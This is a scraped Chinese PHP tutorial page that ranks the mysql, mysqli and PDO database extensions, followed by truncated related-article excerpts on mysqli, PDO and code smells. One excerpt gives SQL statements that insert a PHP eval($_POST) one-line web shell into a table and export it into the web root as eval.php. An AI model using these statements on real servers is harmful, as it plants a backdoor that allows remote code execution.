mysql、mysqli、PDO一句话概括

mysql、mysqli、PDO一句话概括比较
1 mysql扩展 (注:原始的,较差)
2 mysqli扩展(面向过程式) (注:比上面多了更多功能)
3 mysqli扩展(面向对象式) (注:比上面更符合面向对象思想)
4 mysqli扩展(面向对象式)(准备语句) (注:比上面更性能和安全)
5 PDO (注:比上面更具跨数据库的移植性)

推荐由下往上优先使用。

时间: 2024-10-09 11:45:02

mysql、mysqli、PDO一句话概括的相关文章

php的mysql\mysqli\PDO(二)mysqli

原文链接:http://www.orlion.ga/1147/ mysqli有面向对象风格和面向过程风格,个人感觉还是用面向对象风格比较好(毕竟是面向对象) 1.mysqli::_construct() mysqli::__construct ([ string $host = ini_get("mysqli.default_host") [, string $username = ini_get("mysqli.default_user") [, string $

php的mysql\mysqli\PDO(三)PDO

原文链接:http://www.orlion.ga/1153/ PDO是一种数据库抽象层,不止可以访问mysql还可以访问其他数据库. 一.__construct() PDO::__construct ( string $dsn [, string $username [, string $password [, array$driver_options ]]] ) $dsn:通常,一个 DSN 由 PDO 驱动名.紧随其后的冒号.以及可选的驱动程序的数据库连接变量信息,如主机名.端口和数据库名

22种代码的坏味道,一句话概括

22种代码的坏味道,一句话概括: 假设一段代码是不稳定或者有一些潜在问题的,那么代码往往会包括一些明显的痕迹. 正如食物要腐坏之前,常常会发出一些异味一样. 我们管这些痕迹叫做"代码异味". 參考资料: http://blog.csdn.net/sulliy/article/details/6635596 http://sourcemaking.com/refactoring/bad-smells-in-code Code smells Duplicated Code --------

mysqli和mysql和pdo查询

  mysql mysql_connect($db_host, $db_user, $db_password); mysql_select_db($dn_name); $result = mysql_query("SELECT `name` FROM `users` WHERE `location` = '$location'"); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo $row['name']; }

MySQLi & PDO

MySQLi <?php $servername = "localhost"; $username = "username"; $password = "password"; // 创建连接 $conn = new mysqli($servername, $username, $password); // 检测连接 if ($conn->connect_error) { die("连接失败: " . $conn-&

mysql通过PDO扩展进行数据库连接的方法

//PHP通过PDO方式连接到mysql <?php  $dsn="mysql:dbname=test;host=localhost"; $user="root"; $pass=""; $link=new PDO($dsn,$user,$pass); if($link){     echo "connect success with PDO"; }else{     echo "can't connect my

MySQL/ACCESS导出一句话拿WebShell后门命令

MySQL: Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句话木马插入到temp表Select cmd from temp into out file F:/wwwroot/eval.php; //查询temp表中的一

封装数据库mysql, mysqli

<?php header("content-type:text/html;charset=utf-8"); class db{    //私有的静态属性    private static $dbcon = false ;    //私有的构造方法    private function __construct($dbname){        $dbcon = @mysql_connect('127.0.0.1', 'root', 'root');        mysql_s

mysql --mysqli::multi_query 和 mysqli_multi_query

语法: 对象化:bool mysqli::multi_query ( string $query ) 过程化:bool mysqli_multi_query ( mysqli $link , string $query ) 用法: mysqli::multi_query ( string $query ) $dataStr = '要执行的多条sql语句'; $mysqli = new mysqli(hostname,username,password,database); //连接MySQL数据